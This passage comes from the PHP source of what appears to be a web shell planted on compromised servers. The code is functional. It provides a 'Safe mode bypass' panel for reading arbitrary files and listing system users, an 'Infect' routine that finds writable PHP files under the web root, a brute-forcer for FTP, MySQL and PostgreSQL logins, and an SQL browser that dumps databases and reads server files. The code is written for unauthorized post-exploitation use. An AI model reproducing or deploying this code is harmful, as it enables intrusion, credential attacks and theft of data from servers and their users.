                                                    if (!function_exists('hex2bin')) {
                                                        function hex2bin($p) {
                                                            return decbin(hexdec($p));
                                                        }
                                                    }
                                                    if (!function_exists('binhex')) {
                                                        function binhex($p) {
                                                            return dechex(bindec($p));
                                                        }
                                                    }
                                                    if (!function_exists('hex2ascii')) {
                                                        function hex2ascii($p) {
                                                            $r = '';
                                                            for ($i = 0;$i < strLen($p);$i+= 2) {
                                                                $r.= chr(hexdec($p[$i] . $p[$i + 1]));
                                                            }
                                                            return $r;
                                                        }
                                                    }
                                                    if (!function_exists('ascii2hex')) {
                                                        function ascii2hex($p) {
                                                            $r = '';
                                                            for ($i = 0;$i < strlen($p);++$i) {
                                                                $r.= sprintf('%02X', ord($p[$i]));
                                                            }
                                                            return strtoupper($r);
                                                        }
                                                    }
                                                    if (!function_exists('full_urlencode')) {
                                                        function full_urlencode($p) {
                                                            $r = '';
                                                            for ($i = 0;$i < strlen($p);++$i) {
                                                                $r.= '%' . dechex(ord($p[$i]));
                                                            }
                                                            return strtoupper($r);
                                                        }
                                                    }
                                                    $stringTools = ['Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ];
                                                    if (isset($_POST['ajax'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                                        ob_start();
                                                        if (in_array($_POST['p1'], $stringTools)) {
                                                            echo $_POST['p1']($_POST['p2']);
                                                        }
                                                        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
                                                        echo strlen($temp), "
", $temp;
                                                        exit();
                                                    }
                                                    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                                                        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                                    }
                                                    hardHeader();
                                                    echo '<h1>String conversions</h1><div class=content>';
                                                    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
                                                    foreach ($stringTools as $k => $v) {
                                                        echo "<option value='" . htmlspecialchars($v) . "'>" . $k . '</option>';
                                                    }
                                                    echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
                                                    if (!empty($_POST['p1'])) {
                                                        if (in_array($_POST['p1'], $stringTools)) {
                                                            echo htmlspecialchars($_POST['p1']($_POST['p2']));
                                                        }
                                                    }
                                                    echo "</pre></div><br><h1>Search files:</h1><div class=content> 
        <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> 
            <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> 
            <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr> 
            <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> 
            <tr><td></td><td><input type='submit' value='submit'></td></tr> 
            </table></form>";
                                                    function hardRecursiveGlob($path) {
                                                        if (substr($path, -1) != '/') {
                                                            $path.= '/';
                                                        }
                                                        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                                                        if (is_array($paths) && @count($paths)) {
                                                            foreach ($paths as $) {
                                                                if (@is_dir($)) {
                                                                    if ($path != $) {
                                                                        hardRecursiveGlob($);
                                                                    }
                                                                } else {
                                                                    if (empty($_POST['p2']) || @strpos(file_get_contents($), $_POST['p2']) !== false) {
                                                                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($) . "\", \"view\",\"\")'>" . htmlspecialchars($) . '</a><br>';
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                    if (@$_POST['p3']) {
                                                        hardRecursiveGlob($_POST['c']);
                                                    }
                                                    echo "</div><br><h1>Search for hash:</h1><div class=content> 
        <form method='post' target='_blank' name='hf'> 
            <input type='text' name='hash' style='width:200px;'><br> 
            <input type='hidden' name='act' value='find'/> 
            <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> 
            <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> 
            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br> 
            <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> 
            <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br> 
            <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br> 
            <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> 
        </form></div>";
                                                    hardFooter();
                                                }
                                                function actionSafeMode() {
                                                    $temp = '';
                                                    ob_start();
                                                    switch ($_POST['p1']) {
                                                        case 1:
                                                            $temp = @tempnam($test, 'cx');
                                                            if (@copy('compress.zlib://' . $_POST['p2'], $temp)) {
                                                                echo @file_get_contents($temp);
                                                                unlink($temp);
                                                            } else {
                                                                echo 'Sorry... Can\'t open file';
                                                            }
                                                        break;
                                                        case 2:
                                                            $files = glob($_POST['p2'] . '*');
                                                            if (is_array($files)) {
                                                                foreach ($files as $filename) {
                                                                    echo $filename . "
";
                                                                }
                                                            }
                                                        break;
                                                        case 3:
                                                            $ch = curl_init('file://' . $_POST['p2'] . "" . SELF_PATH);
                                                            curl_exec($ch);
                                                        break;
                                                        case 4:
                                                            ini_restore('safe_mode');
                                                            ini_restore('open_basedir');
                                                            include $_POST['p2'];
                                                        break;
                                                        case 5:
                                                            for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                                                                $uid = @posix_getpwuid($_POST['p2']);
                                                                if ($uid) {
                                                                    echo join(':', $uid) . "
";
                                                                }
                                                            }
                                                        break;
                                                        case 6:
                                                            if (!function_exists('imap_open')) {
                                                                break;
                                                            }
                                                            $stream = imap_open($_POST['p2'], '', '');
                                                            if ($stream == false) {
                                                                break;
                                                            }
                                                            echo imap_body($stream, 1);
                                                            imap_close($stream);
                                                        break;
                                                    }
                                                    $temp = ob_get_clean();
                                                    hardHeader();
                                                    echo '<h1>Safe mode bypass</h1><div class=content>';
                                                    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
                                                    if ($temp) {
                                                        echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
                                                    }
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                function actionLogout() {
                                                    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
                                                    die('bye!');
                                                }
                                                function actionSelfRemove() {
                                                    if ($_POST['p1'] == 'yes') {
                                                        if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
                                                            die('Shell has been removed');
                                                        } else {
                                                            echo 'unlink error!';
                                                        }
                                                    }
                                                    if ($_POST['p1'] != 'yes') {
                                                        hardHeader();
                                                    }
                                                    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
                                                    hardFooter();
                                                }
                                                function actionInfect() {
                                                    hardHeader();
                                                    echo '<h1>Infect</h1><div class=content>';
                                                    if ($_POST['p1'] == 'infect') {
                                                        $target = $_SERVER['DOCUMENT_ROOT'];
                                                        function ListFiles($dir) {
                                                            if ($dh = opendir($dir)) {
                                                                $files = [];
                                                                $inner_files = [];
                                                                while ($file = readdir($dh)) {
                                                                    if ($file != '.' && $file != '..') {
                                                                        if (is_dir($dir . '/' . $file)) {
                                                                            $inner_files = ListFiles($dir . '/' . $file);
                                                                            if (is_array($inner_files)) {
                                                                                $files = array_merge($files, $inner_files);
                                                                            }
                                                                        } else {
                                                                            array_push($files, $dir . '/' . $file);
                                                                        }
                                                                    }
                                                                }
                                                                closedir($dh);
                                                                return $files;
                                                            }
                                                        }
                                                        foreach (ListFiles($target) as $key => $file) {
                                                            $nFile = substr($file, -4, 4);
                                                            if ($nFile == '.php') {
                                                                if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                                                                    echo "$file<br>";
                                                                    $i++;
                                                                }
                                                            }
                                                        }
                                                        echo "<font color=red size=14>$i</font>";
                                                    } else {
                                                        echo '<form method=post><input type=submit value=Infect name=infet></form>';
                                                        echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
                                                    }
                                                    hardFooter();
                                                }
                                                function actionBruteforce() {
                                                    hardHeader();
                                                    if (isset($_POST['proto'])) {
                                                        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                                                        if ($_POST['proto'] == 'ftp') {
                                                            function bruteForce($ip, $port, $login, $pass) {
                                                                $fp = @ftp_connect($ip, $port ? $port : 21);
                                                                if (!$fp) {
                                                                    return false;
                                                                }
                                                                $res = @ftp_login($fp, $login, $pass);
                                                                @ftp_close($fp);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'mysql') {
                                                            function bruteForce($ip, $port, $login, $pass) {
                                                                $res = mysqli_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                                                                mysqli_close($res);
                                                                return $res;
                                                            }
                                                        } elseif ($_POST['proto'] == 'pgsql') {
                                                            function bruteForce($ip, $port, $login, $pass) {
                                                                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                                                                $res = @pg_connect($str);
                                                                @pg_close($res);
                                                                return $res;
                                                            }
                                                        }
                                                        $success = 0;
                                                        $attempts = 0;
                                                        $server = explode(':', $_POST['server']);
                                                        if ($_POST['type'] == 1) {
                                                            $temp = @file('/etc/passwd');
                                                            if (is_array($temp)) {
                                                                foreach ($temp as $line) {
                                                                    $line = explode(':', $line);
                                                                    ++$attempts;
                                                                    if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                                                        $success++;
                                                                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                                                                    }
                                                                    if (@$_POST['reverse']) {
                                                                        $tmp = '';
                                                                        for ($i = strlen($line[0]) - 1;$i >= 0;--$i) {
                                                                            $tmp.= $line[0][$i];
                                                                        }
                                                                        ++$attempts;
                                                                        if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                                                            $success++;
                                                                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        } elseif ($_POST['type'] == 2) {
                                                            $temp = @file($_POST['dict']);
                                                            if (is_array($temp)) {
                                                                foreach ($temp as $line) {
                                                                    $line = trim($line);
                                                                    ++$attempts;
                                                                    if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                                                        $success++;
                                                                        echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                                                                    }
                                                                }
                                                            }
                                                        }
                                                        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
                                                    }
                                                    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                function actionSql() {
                                                    class DbClass {
                                                        var $type;
                                                        var $link;
                                                        var $res;
                                                        function __construct($type) {
                                                            $this->type = $type;
                                                        }
                                                        function connect($host, $user, $pass, $dbname) {
                                                            var_dump($host);
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if ($this->link = mysqli_connect($host, $user, $pass)) {
                                                                        return true;
                                                                    }
                                                                break;
                                                                case 'pgsql':
                                                                    $host = explode(':', $host);
                                                                    if (!$host[1]) {
                                                                        $host[1] = 5432;
                                                                    }
                                                                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) {
                                                                        return true;
                                                                    }
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function selectdb($db) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if (mysqli_select_db($this->link, $db)) {
                                                                        return true;
                                                                    }
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function query($str) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return $this->res = mysqli_query($this->link, $str);
                                                                break;
                                                                case 'pgsql':
                                                                    return $this->res = @pg_query($this->link, $str);
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function fetch() {
                                                            $res = func_num_args() ? func_get_arg(0) : $this->res;
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return mysqli_fetch_assoc($res);
                                                                break;
                                                                case 'pgsql':
                                                                    return @pg_fetch_assoc($res);
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function listDbs() {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return $this->query('SHOW databases');
                                                                break;
                                                                case 'pgsql':
                                                                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function listTables() {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return $this->res = $this->query('SHOW TABLES');
                                                                break;
                                                                case 'pgsql':
                                                                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function error() {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return mysqli_error($this->link);
                                                                break;
                                                                case 'pgsql':
                                                                    return @pg_last_error();
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function setCharset($str) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    if (function_exists('mysql_set_charset')) {
                                                                        return mysqli_set_charset($str, $this->link);
                                                                    } else {
                                                                        $this->query('SET CHARSET ' . $str);
                                                                    }
                                                                break;
                                                                case 'pgsql':
                                                                    return @pg_set_client_encoding($this->link, $str);
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function loadFile($str) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                                                                break;
                                                                case 'pgsql':
                                                                    $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                                                                    $r = [];
                                                                    while ($i = $this->fetch()) {
                                                                        $r[] = $i['file'];
                                                                    }
                                                                    $this->query('drop table hard2');
                                                                    return ['file' => implode("
", $r) ];
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                        function dump($table, $fp = false) {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                                                                    $create = mysql_fetch_array($res);
                                                                    $sql = $create[1] . ";
";
                                                                    if ($fp) {
                                                                        fwrite($fp, $sql);
                                                                    } else {
                                                                        echo $sql;
                                                                    }
                                                                    $this->query('SELECT * FROM `' . $table . '`');
                                                                    $i = 0;
                                                                    $head = true;
                                                                    while ($ = $this->fetch()) {
                                                                        $sql = '';
                                                                        if ($i % 1000 == 0) {
                                                                            $head = true;
                                                                            $sql = ";

";
                                                                        }
                                                                        $columns = [];
                                                                        foreach ($ as $k => $v) {
                                                                            if ($v === null) {
                                                                                $[$k] = 'NULL';
                                                                            } elseif (is_int($v)) {
                                                                                $[$k] = $v;
                                                                            } else {
                                                                                $[$k] = "'" . mysqli_real_escape_string($v) . "'";
                                                                            }
                                                                            $columns[] = '`' . $k . '`';
                                                                        }
                                                                        if ($head) {
                                                                            $sql.= 'INSERT INTO `' . $table . '` (' . implode(', ', $columns) . ") VALUES 
	(" . implode(', ', $) . ')';
                                                                            $head = false;
                                                                        } else {
                                                                            $sql.= "
	,(" . implode(', ', $) . ')';
                                                                        }
                                                                        if ($fp) {
                                                                            fwrite($fp, $sql);
                                                                        } else {
                                                                            echo $sql;
                                                                        }
                                                                        $i++;
                                                                    }
                                                                    if (!$head) {
                                                                        if ($fp) {
                                                                            fwrite($fp, ";

");
                                                                        } else {
                                                                            echo ";

";
                                                                        }
                                                                    }
                                                                break;
                                                                case 'pgsql':
                                                                    $this->query('SELECT * FROM ' . $table);
                                                                    while ($ = $this->fetch()) {
                                                                        $columns = [];
                                                                        foreach ($ as $k => $v) {
                                                                            $[$k] = "'" . addslashes($v) . "'";
                                                                            $columns[] = $k;
                                                                        }
                                                                        $sql = 'INSERT INTO ' . $table . ' (' . implode(', ', $columns) . ') VALUES (' . implode(', ', $) . ');' . "
";
                                                                        if ($fp) {
                                                                            fwrite($fp, $sql);
                                                                        } else {
                                                                            echo $sql;
                                                                        }
                                                                    }
                                                                break;
                                                            }
                                                            return false;
                                                        }
                                                    }
                                                    $db = new DbClass($_POST['type']);
                                                    if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
                                                        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                                                        $db->selectdb($_POST['sql_base']);
                                                        switch ($_POST['charset']) {
                                                            case 'Windows-1251':
                                                                $db->setCharset('cp1251');
                                                            break;
                                                            case 'UTF-8':
                                                                $db->setCharset('utf8');
                                                            break;
                                                            case 'KOI8-R':
                                                                $db->setCharset('koi8r');
                                                            break;
                                                            case 'KOI8-U':
                                                                $db->setCharset('koi8u');
                                                            break;
                                                            case 'cp866':
                                                                $db->setCharset('cp866');
                                                            break;
                                                        }
                                                        if (empty($_POST['file'])) {
                                                            ob_start('ob_gzhandler', 4096);
                                                            header('Content-Disposition: attachment; filename=dump.sql');
                                                            header('Content-Type: text/plain');
                                                            foreach ($_POST['tbl'] as $v) {
                                                                $db->dump($v);
                                                            }
                                                            exit();
                                                        } elseif ($fp = @fopen($_POST['file'], 'w')) {
                                                            foreach ($_POST['tbl'] as $v) {
                                                                $db->dump($v, $fp);
                                                            }
                                                            fclose($fp);
                                                            unset($_POST['p2']);
                                                        } else {
                                                            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                                                        }
                                                    }
                                                    hardHeader();
                                                    echo " 
<h1>Sql browser</h1><div class=content> 
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> 
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> 
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p3 value=''><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> 
<td><label><select name='type'><option value='mysql' ";
                                                    if (@$_POST['type'] == 'mysql') {
                                                        echo 'selected';
                                                    }
                                                    echo ">MySql</option><option value='pgsql' ";
                                                    if (@$_POST['type'] == 'pgsql') {
                                                        echo 'selected';
                                                    }
                                                    echo ">PostgreSql</option></select></label></td> 
<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td> 
<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td> 
<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
                                                    $tmp = "<input type=text name=sql_base value=''>";
                                                    if (isset($_POST['sql_host'])) {
                                                        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                                                            switch ($_POST['charset']) {
                                                                case 'Windows-1251':
                                                                    $db->setCharset('cp1251');
                                                                break;
                                                                case 'UTF-8':
                                                                    $db->setCharset('utf8');
                                                                break;
                                                                case 'KOI8-R':
                                                                    $db->setCharset('koi8r');
                                                                break;
                                                                case 'KOI8-U':
                                                                    $db->setCharset('koi8u');
                                                                break;
                                                                case 'cp866':
                                                                    $db->setCharset('cp866');
                                                                break;
                                                            }
                                                            $db->listDbs();
                                                            echo "<label><select name=sql_base><option value=''></option>";
                                                            while ($ = $db->fetch()) {
                                                                list($key, $value) = each($);
                                                                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                                                            }
                                                            echo '</select></label>';
                                                        } else {
                                                            echo $tmp;
                                                        }
                                                    } else {
                                                        echo $tmp;
                                                    }
                                                    echo "</td> 
                <td><input type=submit value='submit' onclick='fs(d.sf);'></td> 
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td> 
            </tr> 
        </table> 
        <script> 
            s_db='" . @addslashes($_POST['sql_base']) . "'; 
            function fs(f) { 
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
                    if(f.p1) f.p1.value=''; 
                    if(f.p2) f.p2.value=''; 
                    if(f.p3) f.p3.value=''; 
                } 
            } 
            function st(t,l) { 
                d.sf.p1.value = 'select'; 
                d.sf.p2.value = t; 
                if(l && d.sf.p3) d.sf.p3.value = l; 
                d.sf.submit(); 
            } 
            function is() { 
                for(i=0;i<d.sf.elements['tbl[]'].length;++i) 
                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; 
            } 
        </script>";
                                                    if (isset($db) && $db->link) {
                                                        echo '<br/><table width=100% cellpadding=2 cellspacing=0>';
                                                        if (!empty($_POST['sql_base'])) {
                                                            $db->selectdb($_POST['sql_base']);
                                                            echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                                                            $tbls_res = $db->listTables();
                                                            while ($ = $db->fetch($tbls_res)) {
                                                                list($key, $value) = each($);
                                                                if (!empty($_POST['sql_count'])) {
                                                                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                                                                }
                                                                $value = htmlspecialchars($value);
                                                                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . '</a>' . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . '</nobr><br>';
                                                            }
                                                            echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                                                            if (@$_POST['p1'] == 'select') {
                                                                $_POST['p1'] = 'query';
                                                                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                                                                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                                                                $num = $db->fetch();
                                                                $pages = ceil($num['n'] / 30);
                                                                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . '>';
                                                                echo " of $pages";
                                                                if ($_POST['p3'] > 1) {
                                                                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                                                                }
                                                                if ($_POST['p3'] < $pages) {
                                                                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                                                                }
                                                                $_POST['p3']--;
                                                                if ($_POST['type'] == 'pgsql') {
                                                                    $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                                                                } else {
                                                                    $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                                                                }
                                                                echo '<br><br>';
                                                            }
                                                            if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                                                                $db->query(@$_POST['p2']);
                                                                if ($db->res !== false) {
                                                                    $title = false;
                                                                    echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
                                                                    $line = 1;
                                                                    while ($ = $db->fetch()) {
                                                                        if (!$title) {
                                                                            echo '<tr>';
                                                                            foreach ($ as $key => $value) {
                                                                                echo '<th>' . $key . '</th>';
                                                                            }
                                                                            reset($);
                                                                            $title = true;
                                                                            echo '</tr><tr>';
                                                                            $line = 2;
                                                                        }
                                                                        echo '<tr class="l' . $line . '">';
                                                                        $line = $line == 1 ? 2 : 1;
                                                                        foreach ($ as $key => $value) {
                                                                            if ($value == null) {
                                                                                echo '<td><i>null</i></td>';
                                                                            } else {
                                                                                echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                                                            }
                                                                        }
                                                                        echo '</tr>';
                                                                    }
                                                                    echo '</table>';
                                                                } else {
                                                                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                                                                }
                                                            }
                                                            echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                                                            if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                                                                echo htmlspecialchars($_POST['p2']);
                                                            }
                                                            echo "</textarea><br/><input type=submit value='Execute'>";
                                                            echo '</td></tr>';
                                                        }
                                                        echo '</table></form><br/>';
                                                        if ($_POST['type'] == 'mysql') {
                                                            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                                                            if ($db->fetch()) {
                                                                echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                                                            }
                                                        }
                                                        if (@$_POST['p1'] == 'loadfile') {
                                                            $file = $db->loadFile($_POST['p2']);
                                                            echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                                                        }
                                                    } else {
                                                        echo htmlspecialchars($db->error());
                                                    }
                                                    echo '</div>';
                                                    hardFooter();
                                                }
                                                function actionNetwork() {
                                                    hardHeader();
